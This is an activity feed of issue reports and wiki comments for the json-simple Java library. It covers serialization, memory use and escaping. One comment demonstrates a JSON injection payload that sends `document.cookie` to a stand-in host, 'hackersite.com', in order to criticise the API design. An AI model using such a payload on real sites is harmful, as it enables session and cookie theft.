My favorites | Sign in
Project Logo
                
Details: Show all Hide all

Last 30 days

  • Dec 07, 2009
    JSPAndAJAXExamples (Examples of JSP and AJAX) Wiki page commented on by erich.reich   -   This is amazing and will help my project greatly. Thank you very much for this!
    This is amazing and will help my project greatly. Thank you very much for this!
  • Dec 06, 2009
    issue 14 (Support serialization of arrays) changed by fangyidong   -   Saxon, don't worry about it and I'll mark it as a duplicated enhancement. And I am really appreciated for your work. Eliseosoto, the issue is posted to the discussion group automatically so I guess you receive this because you subscribed the discussion group. You might want to disable receiving Email from the group or choose to receive digest instead. Sorry for the confusing.
    Status: Duplicate
    Labels: Type-Enhancement Type-Defect
    Saxon, don't worry about it and I'll mark it as a duplicated enhancement. And I am really appreciated for your work. Eliseosoto, the issue is posted to the discussion group automatically so I guess you receive this because you subscribed the discussion group. You might want to disable receiving Email from the group or choose to receive digest instead. Sorry for the confusing.
    Status: Duplicate
    Labels: Type-Enhancement Type-Defect
  • Dec 06, 2009
    issue 7 (Suggestion about JSONValue.toJSONString) commented on by fangyidong   -   Issue 14 has been merged into this issue.
    Issue 14 has been merged into this issue.
  • Dec 04, 2009
    issue 14 (Support serialization of arrays) commented on by eliseosoto   -   How do I unsubscribe from this? I don't even have this starred
    How do I unsubscribe from this? I don't even have this starred
  • Dec 04, 2009
    issue 14 (Support serialization of arrays) commented on by saxon.daubin   -   I accidentally filed this as a defect instead of an enhancement. Sorry!
    I accidentally filed this as a defect instead of an enhancement. Sorry!
  • Dec 04, 2009
    issue 14 (Support serialization of arrays) commented on by saxon.daubin   -   Ah, I see that issue 7 is the same request, although the change to JSONValue.writeJSONString() is what I need most.
    Ah, I see that issue 7 is the same request, although the change to JSONValue.writeJSONString() is what I need most.
  • Dec 04, 2009
    issue 14 (Support serialization of arrays) reported by saxon.daubin   -   What steps will reproduce the problem? 1. It'd be nice if JSONValue.writeJSONString() and JSONValue.toJSONString() handled arrays. Right now it'll serialize Lists, but an array is serialized by calling toString() on the array. What version of the product are you using? On what operating system? Using the latest version 1.1 Please provide any additional information below. I've attached a patch that works with arrays.
    What steps will reproduce the problem? 1. It'd be nice if JSONValue.writeJSONString() and JSONValue.toJSONString() handled arrays. Right now it'll serialize Lists, but an array is serialized by calling toString() on the array. What version of the product are you using? On what operating system? Using the latest version 1.1 Please provide any additional information below. I've attached a patch that works with arrays.
  • Nov 30, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by karl.wettin   -   One solution would be to just use the lexer. I've posted some code to Fang that extends the lexer and uses it similar to the XMLStreamReader in Java 1.6, effectivly saving lots of RAM when processing large amounts of JSON. Let me know and I'll post it again.
    One solution would be to just use the lexer. I've posted some code to Fang that extends the lexer and uses it similar to the XMLStreamReader in Java 1.6, effectivly saving lots of RAM when processing large amounts of JSON. Let me know and I'll post it again.
  • Nov 30, 2009
    issue 13 (JSONValue.parse(Reader in) should propagate exceptions) commented on by john.eric.evans   -   Right you are. Sorry I didn't look at that closer. Thanks.
    Right you are. Sorry I didn't look at that closer. Thanks.
  • Nov 30, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by fangyidong   -   Thanks a lot for your information. I'll test it in Harmony JVM.
    Thanks a lot for your information. I'll test it in Harmony JVM.
  • Nov 30, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by m.kaeppler   -   I just replaced JSON simple with the reference JSON implementation from json.org (which is shipped with Android), and it doesn't suffer from this problem. There must be something leaking (and massively so -- considering it turns a 40k JSON string into 12 megabytes), in JSONParser.parse(). However, to not waste your time: It may well be that this is in fact something related to Apache Harmony, the open-source Java implementation that powers Android. I have been running into problems on Android several times now where Harmony turned out to be the source of the problem (it's scary sometimes how buggy it can be at its core infrastructure). I guess the best thing to do would be: Write a simple test case which parses a JSON file, and profile it both using the Sun JVM and the Harmony JVM. The Android profiler unfortunately isn't detailed enough to tell me exactly which method/object is actually consuming so much memory, but it shows me 10-12MB worth of character data being allocated during a parse(), so it must be something related to reading/buffering character data.
    I just replaced JSON simple with the reference JSON implementation from json.org (which is shipped with Android), and it doesn't suffer from this problem. There must be something leaking (and massively so -- considering it turns a 40k JSON string into 12 megabytes), in JSONParser.parse(). However, to not waste your time: It may well be that this is in fact something related to Apache Harmony, the open-source Java implementation that powers Android. I have been running into problems on Android several times now where Harmony turned out to be the source of the problem (it's scary sometimes how buggy it can be at its core infrastructure). I guess the best thing to do would be: Write a simple test case which parses a JSON file, and profile it both using the Sun JVM and the Harmony JVM. The Android profiler unfortunately isn't detailed enough to tell me exactly which method/object is actually consuming so much memory, but it shows me 10-12MB worth of character data being allocated during a parse(), so it must be something related to reading/buffering character data.
  • Nov 30, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by fangyidong   -   Thanks a lot for the data. It's strange that from my initial testing (using a very simple method), nothing seems to be special.(Local JDK is 1.6. What is the version of the JDK/JRE in your environment?) Here's the code: {{{{ public static void main(String[] args) throws Exception{ long t = System.currentTimeMillis(); long m = Runtime.getRuntime().freeMemory(); Object obj = JSONValue.parse(new FileReader("reviews.json")); long delta = System.currentTimeMillis() - t; long deltaM = m - Runtime.getRuntime().freeMemory(); System.out.println(delta + "ms"); System.out.println(deltaM/1024 + "K"); System.out.println(obj); } }}}} Here's the result: 79ms 537K (The resulting JSON text) I also used YourKit 7.5 to do memory profiling and got the following data: Overall objects: All live objects: 13,025 Shallow size: 1,098,824 bytes Retained size: 1,098,824 bytes Dominant objects: char[] 2,902 objects, shallow size: 429,656 java.lang.String 3,132 objects, shallow size: 75,168 Thanks.
    Thanks a lot for the data. It's strange that from my initial testing (using a very simple method), nothing seems to be special.(Local JDK is 1.6. What is the version of the JDK/JRE in your environment?) Here's the code: {{{{ public static void main(String[] args) throws Exception{ long t = System.currentTimeMillis(); long m = Runtime.getRuntime().freeMemory(); Object obj = JSONValue.parse(new FileReader("reviews.json")); long delta = System.currentTimeMillis() - t; long deltaM = m - Runtime.getRuntime().freeMemory(); System.out.println(delta + "ms"); System.out.println(deltaM/1024 + "K"); System.out.println(obj); } }}}} Here's the result: 79ms 537K (The resulting JSON text) I also used YourKit 7.5 to do memory profiling and got the following data: Overall objects: All live objects: 13,025 Shallow size: 1,098,824 bytes Retained size: 1,098,824 bytes Dominant objects: char[] 2,902 objects, shallow size: 429,656 java.lang.String 3,132 objects, shallow size: 75,168 Thanks.
  • Nov 30, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by m.kaeppler   -   That didn't help, unfortunately. I also can't log the StringBuilder contents, because adb just cuts off strings which are too long to log, but I've attached the JSON data served by our web service. It's not a problem with that specific document though. I've seen this happening all over the place.
    That didn't help, unfortunately. I also can't log the StringBuilder contents, because adb just cuts off strings which are too long to log, but I've attached the JSON data served by our web service. It's not a problem with that specific document though. I've seen this happening all over the place.
  • Nov 29, 2009
    issue 11 (Maybe use CharSequence instead String in toJSONString?) changed by fangyidong   -   Thanks for the suggestion. But we made a commitment to support JDK from version 1.2 so we are very reluctant to use the CharSequence from 1.4... You can either make a slight wrapping over GString or convert it to String (via Object.toString()) before putting it to a Map/List. Thanks.
    Status: WontFix
    Labels: Type-Enhancement Type-Defect
    Thanks for the suggestion. But we made a commitment to support JDK from version 1.2 so we are very reluctant to use the CharSequence from 1.4... You can either make a slight wrapping over GString or convert it to String (via Object.toString()) before putting it to a Map/List. Thanks.
    Status: WontFix
    Labels: Type-Enhancement Type-Defect
  • Nov 29, 2009
    issue 13 (JSONValue.parse(Reader in) should propagate exceptions) changed by fangyidong   -   Thanks for your patch. Actually you can do the same thing with JSONValue.parseWithException(), while JSONValue.parse() is used for backward compatibility. Thanks.
    Status: WontFix
    Labels: Type-Enhancement Type-Defect
    Thanks for your patch. Actually you can do the same thing with JSONValue.parseWithException(), while JSONValue.parse() is used for backward compatibility. Thanks.
    Status: WontFix
    Labels: Type-Enhancement Type-Defect
  • Nov 29, 2009
    issue 13 (JSONValue.parse(Reader in) should propagate exceptions) reported by john.eric.evans   -   It would be better to propagate IOExceptions or ParseExceptions thrown from JSONParser.parser() and allow developers to handle the error, rather than test for null and guess as to the actual cause.
    It would be better to propagate IOExceptions or ParseExceptions thrown from JSONParser.parser() and allow developers to handle the error, rather than test for null and guess as to the actual cause.
  • Nov 27, 2009
    issue 12 (Excessive memory consumption in parse()) commented on by fangyidong   -   You don't have to convert the stream into a String to pass it to JSONParser. JSONParser accepts a Reader as its parameter. Could you comment out the last line and then test it again? return (JSONObject) jsonParser.parse(sb.toString()); And could you help to print out the result of sb.toString() and post it here before passing it to JSONParser? That will be very helpful to analyze this issue. Thanks.
    You don't have to convert the stream into a String to pass it to JSONParser. JSONParser accepts a Reader as its parameter. Could you comment out the last line and then test it again? return (JSONObject) jsonParser.parse(sb.toString()); And could you help to print out the result of sb.toString() and post it here before passing it to JSONParser? That will be very helpful to analyze this issue. Thanks.
  • Nov 27, 2009
    issue 12 (Excessive memory consumption in parse()) reported by m.kaeppler   -   Summary: I'm using JSON Simple in our Android application. I recently noticed I was getting occasional OutOfMemory errors, and it turned out that JSONParser.parse() is the problem. Parsing this simple JSON document (http://api.qype.com/v1/places/27539/reviews.json?page=1 -- you need a consumer key to actually see that) will cause a memory consumption of over 10 MB. What steps will reproduce the problem? I'm not sure whether this happens outside the Android environment. But what I did is this: private JSONObject parseJsonReply(InputStream data) throws ParseException, ConnectionFailedException { if (modelName == null || modelListName == null) { String className = getClass().getSimpleName(); int idx = className.indexOf("Parser"); modelName = className.substring(0, idx).toLowerCase(); modelListName = modelName + "s"; } BufferedReader reader = new BufferedReader(new InputStreamReader(data)); StringBuilder sb = new StringBuilder(); try { String line = reader.readLine(); while (line != null) { sb.append(line); line = reader.readLine(); } } catch (IOException e) { throw new ConnectionFailedException(e); } return (JSONObject) jsonParser.parse(sb.toString()); } What version of the product are you using? On what operating system? json-simple 1.1 on Android 1.5 (HTC Hero)
    Summary: I'm using JSON Simple in our Android application. I recently noticed I was getting occasional OutOfMemory errors, and it turned out that JSONParser.parse() is the problem. Parsing this simple JSON document (http://api.qype.com/v1/places/27539/reviews.json?page=1 -- you need a consumer key to actually see that) will cause a memory consumption of over 10 MB. What steps will reproduce the problem? I'm not sure whether this happens outside the Android environment. But what I did is this: private JSONObject parseJsonReply(InputStream data) throws ParseException, ConnectionFailedException { if (modelName == null || modelListName == null) { String className = getClass().getSimpleName(); int idx = className.indexOf("Parser"); modelName = className.substring(0, idx).toLowerCase(); modelListName = modelName + "s"; } BufferedReader reader = new BufferedReader(new InputStreamReader(data)); StringBuilder sb = new StringBuilder(); try { String line = reader.readLine(); while (line != null) { sb.append(line); line = reader.readLine(); } } catch (IOException e) { throw new ConnectionFailedException(e); } return (JSONObject) jsonParser.parse(sb.toString()); } What version of the product are you using? On what operating system? json-simple 1.1 on Android 1.5 (HTC Hero)
  • Nov 16, 2009
    EncodingExamples (Examples of JSON encoding) Wiki page commented on by java.koder   -   This is great, thank you :)
    This is great, thank you :)
  • Nov 15, 2009
    issue 11 (Maybe use CharSequence instead String in toJSONString?) reported by gkraser   -   In toJSONString: {{{ ... if(value instanceof String) ... }}} maybe use CharSequence: {{{ ... if(value instanceof CharSequence) ... }}} Reason: GString( groovy strings), StringBuilder converted as toString() without ""
    In toJSONString: {{{ ... if(value instanceof String) ... }}} maybe use CharSequence: {{{ ... if(value instanceof CharSequence) ... }}} Reason: GString( groovy strings), StringBuilder converted as toString() without ""

Earlier this year

  • Nov 14, 2009
    JSPAndAJAXExamples (Examples of JSP and AJAX) Wiki page commented on by 2srujan   -   Its giving me the error "Something went wrong...". I included the json_simple-1.1.jar in the WEB-INF/lib folder and the other service.jsp and client.html file in the ROOT folder of my APACHE Tomcat Server. Any advices please
    Its giving me the error "Something went wrong...". I included the json_simple-1.1.jar in the WEB-INF/lib folder and the other service.jsp and client.html file in the ROOT folder of my APACHE Tomcat Server. Any advices please
  • Nov 13, 2009
    EscapingExamples (Examples of escaping strings with special characters) Wiki page commented on by fangyidong   -   "/" is escaped to avoid some issues in html, such as "</" ... Actually we can make it escape "/" only when it's after "<", say "</" to "<\/", but we currently choose to escape all of them to make the code simpler and the performance higher... From some inputs of current JSON.simple users, we may need to improve it to make the some string such as URL look more nicely... Although it's not a violation of JSON spec, we may need to address some usability requirements. Thanks a lot for the feedback.
    "/" is escaped to avoid some issues in html, such as "</" ... Actually we can make it escape "/" only when it's after "<", say "</" to "<\/", but we currently choose to escape all of them to make the code simpler and the performance higher... From some inputs of current JSON.simple users, we may need to improve it to make the some string such as URL look more nicely... Although it's not a violation of JSON spec, we may need to address some usability requirements. Thanks a lot for the feedback.
  • Nov 09, 2009
    EscapingExamples (Examples of escaping strings with special characters) Wiki page commented on by mcherm   -   WHY is "/" escaped? I don't see any reason for it in the JSON specs.
    WHY is "/" escaped? I don't see any reason for it in the JSON specs.
  • Nov 08, 2009
    issue 10 (java.lang.ClassCastException: org.json.simple.JSONObject can...) Status changed by fangyidong   -   From the input you provided, this is a JSONObject and the code should likes like: JSONObject user_obj=(JSONObject)user_obj;
    Status: Invalid
    From the input you provided, this is a JSONObject and the code should likes like: JSONObject user_obj=(JSONObject)user_obj;
    Status: Invalid
  • Nov 06, 2009
    issue 10 (java.lang.ClassCastException: org.json.simple.JSONObject can...) commented on by lamkampo   -   forgot to include the java code. here it is. Object user = win.eval("get_user_info()"); // get JSON from javascript Object user_obj=JSONValue.parse(user.toString()); JSONArray user_array=(JSONArray)user_obj;
    forgot to include the java code. here it is. Object user = win.eval("get_user_info()"); // get JSON from javascript Object user_obj=JSONValue.parse(user.toString()); JSONArray user_array=(JSONArray)user_obj;
  • Nov 06, 2009
    issue 10 (java.lang.ClassCastException: org.json.simple.JSONObject can...) reported by lamkampo   -   Hi there I'm new to json-simple, tried to use it to decode a json string that encoded by PHP(it was 2-dimension array in PHP) json_encode, the string looks like {"User_001":{"first_name":"xxx","last_name":"xxx","name":"xxx xxx","uid":"1571575199","pic_square":"http://profile.ak.fbcdn.net/v230/639/72/q571575199_2451.jpg","profile_url":"http://www.facebook.com/profile.php?id=571575199"}} but it reports error at run time: java.lang.ClassCastException: org.json.simple.JSONObject cannot be cast to org.json.simple.JSONArray any idea why? thanks for any help.
    Hi there I'm new to json-simple, tried to use it to decode a json string that encoded by PHP(it was 2-dimension array in PHP) json_encode, the string looks like {"User_001":{"first_name":"xxx","last_name":"xxx","name":"xxx xxx","uid":"1571575199","pic_square":"http://profile.ak.fbcdn.net/v230/639/72/q571575199_2451.jpg","profile_url":"http://www.facebook.com/profile.php?id=571575199"}} but it reports error at run time: java.lang.ClassCastException: org.json.simple.JSONObject cannot be cast to org.json.simple.JSONArray any idea why? thanks for any help.
  • Nov 03, 2009
    DecodingExamples (Examples of JSON decoding) Wiki page commented on by fangyidong   -   Because we also have a JSONArray and other primitives.
    Because we also have a JSONArray and other primitives.
  • Nov 03, 2009
    DecodingExamples (Examples of JSON decoding) Wiki page commented on by eliseosoto   -   Any particular reason why JSONValue.parse(s) returns an Object and not a more proper JSONObject?
    Any particular reason why JSONValue.parse(s) returns an Object and not a more proper JSONObject?
  • Nov 02, 2009
    JSPAndAJAXExamples (Examples of JSP and AJAX) Wiki page commented on by mvenu07   -   Nice Example Thank you very much. Really when i am thinking about sending arrayList using Ajax to client side . JSON is good approach . for More reference on JSON : JSON.org
    Nice Example Thank you very much. Really when i am thinking about sending arrayList using Ajax to client side . JSON is good approach . for More reference on JSON : JSON.org
  • Nov 02, 2009
    issue 9 (Encoder escapes forward slashes) changed by fangyidong   -   Merging it to #8. Thanks.
    Status: Duplicate
    Merging it to #8. Thanks.
    Status: Duplicate
  • Nov 02, 2009
    issue 8 (forward slashes are unnecessarily escaped) commented on by fangyidong   -   Issue 9 has been merged into this issue.
    Issue 9 has been merged into this issue.
  • Nov 02, 2009
    issue 9 (Encoder escapes forward slashes) commented on by igor.n.nazarenko   -   This is a duplicate of #8. Don't know how I missed the original :(. I don't think I can close it myself. Sorry about it.
    This is a duplicate of #8. Don't know how I missed the original :(. I don't think I can close it myself. Sorry about it.
  • Nov 02, 2009
    issue 9 (Encoder escapes forward slashes) reported by igor.n.nazarenko   -   Minor issue: JSON encoder adds a backslash before every "/" in the string. While JSON spec *allows* to escape "/", it's not required, and escaping it reduces readability of the encoded data, and unnecessarily increases the size of the encoded string. Could you consider not escaping the forward slash?
    Minor issue: JSON encoder adds a backslash before every "/" in the string. While JSON spec *allows* to escape "/", it's not required, and escaping it reduces readability of the encoded data, and unnecessarily increases the size of the encoded string. Could you consider not escaping the forward slash?
  • Oct 28, 2009
    PerformanceTesting (Performance tesing results) Wiki page commented on by francois.fl   -   {"tiers":"0612345678","mail":"false","uid":"123456789"}
    {"tiers":"0612345678","mail":"false","uid":"123456789"}
  • Oct 21, 2009
    EscapingExamples (Examples of escaping strings with special characters) Wiki page commented on by fangyidong   -   Single quote is NOT escaped (we don't have to) but double quote IS escaped. Yes it's true that escape() is called internally in JSONObject.toString().
    Single quote is NOT escaped (we don't have to) but double quote IS escaped. Yes it's true that escape() is called internally in JSONObject.toString().
  • Oct 20, 2009
    EscapingExamples (Examples of escaping strings with special characters) Wiki page commented on by xsgao73   -   I believe single/double quote marks (', ") are not not escaped, right? Also, when we call JSONObject.toString(), this escape() method is called internally, right?
    I believe single/double quote marks (', ") are not not escaped, right? Also, when we call JSONObject.toString(), this escape() method is called internally, right?
  • Oct 16, 2009
    issue 8 (forward slashes are unnecessarily escaped) changed by fangyidong   -   Yes, we escape every slash to void issues in HTML (JSON is used in web applications in most cases) and make the code simpler (and slightly efficient and reliable code, without contextual condition handling). Actually JSON.simple focuses on supports in communications between applications (such as web server and browser, distribute computing), so reliable (100% SPEC compliance and bug free) and efficient are two important consideration, while other features such as pretty printing is not supported. But I think this is a valid usability concern, so I am setting it as an enhancement, which will be reviewed and may be implemented in the future. You are also encouraged to modify and improve the source code directly if you need it right now. Thanks.
    Status: Accepted
    Labels: Type-Enhancement Priority-Low Type-Defect Priority-Medium
    Yes, we escape every slash to void issues in HTML (JSON is used in web applications in most cases) and make the code simpler (and slightly efficient and reliable code, without contextual condition handling). Actually JSON.simple focuses on supports in communications between applications (such as web server and browser, distribute computing), so reliable (100% SPEC compliance and bug free) and efficient are two important consideration, while other features such as pretty printing is not supported. But I think this is a valid usability concern, so I am setting it as an enhancement, which will be reviewed and may be implemented in the future. You are also encouraged to modify and improve the source code directly if you need it right now. Thanks.
    Status: Accepted
    Labels: Type-Enhancement Priority-Low Type-Defect Priority-Medium
  • Oct 16, 2009
    issue 8 (forward slashes are unnecessarily escaped) reported by jmsachs   -   System.out.println(JSONValue.toJSONString("a/b/c")); yields "a\/b\/c" ------- So here's the deal. After asking this question http://stackoverflow.com/questions/1580647, it looks like the JSON spec allows but does not require forward slashes to be escaped. (see RFC4627 http://www.ietf.org/rfc/rfc4627.txt p.4) So technically this issue is not a bug... but it makes file paths look really ugly. Apparently the string "</" is problematic in a few circumstances (namely inside <script> tags in HTML). Is there any way you could change the behavior of json-simple so either it's user-selectable whether forward slashes in strings are escaped, or you only escape "</" to "<\/"?
    System.out.println(JSONValue.toJSONString("a/b/c")); yields "a\/b\/c" ------- So here's the deal. After asking this question http://stackoverflow.com/questions/1580647, it looks like the JSON spec allows but does not require forward slashes to be escaped. (see RFC4627 http://www.ietf.org/rfc/rfc4627.txt p.4) So technically this issue is not a bug... but it makes file paths look really ugly. Apparently the string "</" is problematic in a few circumstances (namely inside <script> tags in HTML). Is there any way you could change the behavior of json-simple so either it's user-selectable whether forward slashes in strings are escaped, or you only escape "</" to "<\/"?
  • Oct 11, 2009
    MappingBetweenJSONAndJavaEntities (Mapping Between JSON and Java Entities) Wiki page commented on by oday0311   -   While encoding, other classes that are not listed on the right side of the table need to implement JSONAware or JSONStreamAware (streaming only) to customize JSON outputs. In such cases, JSON.simple calls JSONAware.toJSONString() or JSONStreamAware.writeJSONString() to determine the resulting JSON text. ==== as the wiki said, you need to implement JSONAware or JSONStreamAware.
    While encoding, other classes that are not listed on the right side of the table need to implement JSONAware or JSONStreamAware (streaming only) to customize JSON outputs. In such cases, JSON.simple calls JSONAware.toJSONString() or JSONStreamAware.writeJSONString() to determine the resulting JSON text. ==== as the wiki said, you need to implement JSONAware or JSONStreamAware.
  • Oct 11, 2009
    JSPAndAJAXExamples (Examples of JSP and AJAX) Wiki page commented on by jadhav.dilipkumar   -   Kausalya.tce: You would need to add the json_simple-1.1.jar in the WEB-INF/lib folder of your web application. You can just paste the jar file in the lib folder without creating any subfolders. Please post the exact error message that you get when you run the server side jsp. Creators of this utility: Thank you so much....As the name suggests this is really really simple to implement.
    Kausalya.tce: You would need to add the json_simple-1.1.jar in the WEB-INF/lib folder of your web application. You can just paste the jar file in the lib folder without creating any subfolders. Please post the exact error message that you get when you run the server side jsp. Creators of this utility: Thank you so much....As the name suggests this is really really simple to implement.
  • Oct 06, 2009
    issue 7 (Suggestion about JSONValue.toJSONString) changed by fangyidong   -   Yes, we were aware that some users may need this kind of convenient array support. We are considering adding it to the future release. Thanks a lot for your suggestion.
    Status: Accepted
    Labels: Type-Enhancement Type-Defect
    Yes, we were aware that some users may need this kind of convenient array support. We are considering adding it to the future release. Thanks a lot for your suggestion.
    Status: Accepted
    Labels: Type-Enhancement Type-Defect
  • Oct 06, 2009
    issue 7 (Suggestion about JSONValue.toJSONString) reported by barenca   -   Hello, It would be useful to include if(value instanceof Object[]) return JSONArray.toJSONString(Arrays.asList((Object[])value)); I hope you can include this two simple lines Thanks a lot
    Hello, It would be useful to include if(value instanceof Object[]) return JSONArray.toJSONString(Arrays.asList((Object[])value)); I hope you can include this two simple lines Thanks a lot
  • Oct 05, 2009
    JSPAndAJAXExamples (Examples of JSP and AJAX) Wiki page commented on by kausalya.tce   -   server side jsp is not working for me.... In which WEB-INS/lib the jar file have to put in
    server side jsp is not working for me.... In which WEB-INS/lib the jar file have to put in
  • Sep 30, 2009
    ComplianceTesting (Compliance tesing results) Wiki page edited by fangyidong   -   Revision r184 Edited wiki page through web user interface.
    Revision r184 Edited wiki page through web user interface.
  • Sep 30, 2009
    ComplianceTesting (Compliance tesing results) Wiki page edited by fangyidong   -   Revision r183 Edited wiki page through web user interface.
    Revision r183 Edited wiki page through web user interface.
  • Sep 30, 2009
    ComplianceTesting (Compliance tesing results) Wiki page edited by fangyidong   -   Revision r182 Edited wiki page through web user interface.
    Revision r182 Edited wiki page through web user interface.
  • Sep 30, 2009
    ComplianceTesting (Compliance tesing results) Wiki page commented on by fangyidong   -   JSON.simple guarantees that the result is compliant to JSON spec only if the rule of it is followed: http://code.google.com/p/json-simple/wiki/MappingBetweenJSONAndJavaEntities The interface JSONAware provides the freedom to the user to make any extensions (such as comments which are not supported by the JSON spec), so the user should know exactly what they are doing when they implement the interface.
    JSON.simple guarantees that the result is compliant to JSON spec only if the rule of it is followed: http://code.google.com/p/json-simple/wiki/MappingBetweenJSONAndJavaEntities The interface JSONAware provides the freedom to the user to make any extensions (such as comments which are not supported by the JSON spec), so the user should know exactly what they are doing when they implement the interface.
  • Sep 29, 2009
    ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   to fix this you should replace JSONValue.java line 154: out.write(value.toString()); with {{{ out.write('\"'); out.write(escape(value.toString())); out.write('\"'); }}} and JSONValue.java line 207: return value.toString(); with {{{ return "\"" + escape(value.toString()) + "\""; }}} And take the public statement out of both JSONAware and JSONStreamAware I don't think having Beans able to represent themselves as JSON is a good design. One would not have a toHTML() method in every bean you sue a JSP or similar to represent the Bean. It makes better sense to separate the model and the view and have JSONObject itself handle representing beans as JSON, perhaps have a method in JSONObject called putBean(Object bean) that does reflection and reads the getter methods, producing valid JSON output when requested.
    to fix this you should replace JSONValue.java line 154: out.write(value.toString()); with {{{ out.write('\"'); out.write(escape(value.toString())); out.write('\"'); }}} and JSONValue.java line 207: return value.toString(); with {{{ return "\"" + escape(value.toString()) + "\""; }}} And take the public statement out of both JSONAware and JSONStreamAware I don't think having Beans able to represent themselves as JSON is a good design. One would not have a toHTML() method in every bean you sue a JSP or similar to represent the Bean. It makes better sense to separate the model and the view and have JSONObject itself handle representing beans as JSON, perhaps have a method in JSONObject called putBean(Object bean) that does reflection and reads the getter methods, producing valid JSON output when requested.
  • Sep 29, 2009
    ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   Also the existence of JSONAware as a public interface opens the API to developer errors such as the following {{{ public static void main(String[] args) { JSONObject json = new JSONObject(); json.put("badBean", new BadBean(CONSTANT)); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); json = new JSONObject(); json.put("badBean", new BadBean("\"}); ajax.send('hackersite.com', document.cookie); ....")); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); } public static class BadBean implements JSONAware { private String string = "string"; public BadBean(String string) { this.string = string; } public String getString() { return string; } public void setString(String string) { this.string = string; } public String toJSONString() { return "\"" + string + "\""; } } }}} which outputs {{{ eval()ed to ({"badBean":"myconstant"}) eval()ed to ({"badBean":""}); ajax.send('hackersite.com', document.cookie); ...."}) }}}
    Also the existence of JSONAware as a public interface opens the API to developer errors such as the following {{{ public static void main(String[] args) { JSONObject json = new JSONObject(); json.put("badBean", new BadBean(CONSTANT)); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); json = new JSONObject(); json.put("badBean", new BadBean("\"}); ajax.send('hackersite.com', document.cookie); ....")); System.out.println("eval()ed to \n(" + json.toJSONString() + ")"); } public static class BadBean implements JSONAware { private String string = "string"; public BadBean(String string) { this.string = string; } public String getString() { return string; } public void setString(String string) { this.string = string; } public String toJSONString() { return "\"" + string + "\""; } } }}} which outputs {{{ eval()ed to ({"badBean":"myconstant"}) eval()ed to ({"badBean":""}); ajax.send('hackersite.com', document.cookie); ...."}) }}}
  • Sep 29, 2009
    ComplianceTesting (Compliance tesing results) Wiki page commented on by teknopaul   -   I'm not so sure about its compliance, it failed on a simple test of dumping a bean in a Map. {{{ JSONObject json = new JSONObject(); json.putAll(new BeanMap(bean)); System.out.println(json.toJSONString()); }}} and it outputs {{{ {"value":"theValue","class":class fi.gtech.json.TestInterface$Beanie,"cyclic":fi.gtech.json.TestInterface$Beanie@f668b23,"number":23} }}}
    I'm not so sure about its compliance, it failed on a simple test of dumping a bean in a Map. {{{ JSONObject json = new JSONObject(); json.putAll(new BeanMap(bean)); System.out.println(json.toJSONString()); }}} and it outputs {{{ {"value":"theValue","class":class fi.gtech.json.TestInterface$Beanie,"cyclic":fi.gtech.json.TestInterface$Beanie@f668b23,"number":23} }}}
 
Hosted by Google Code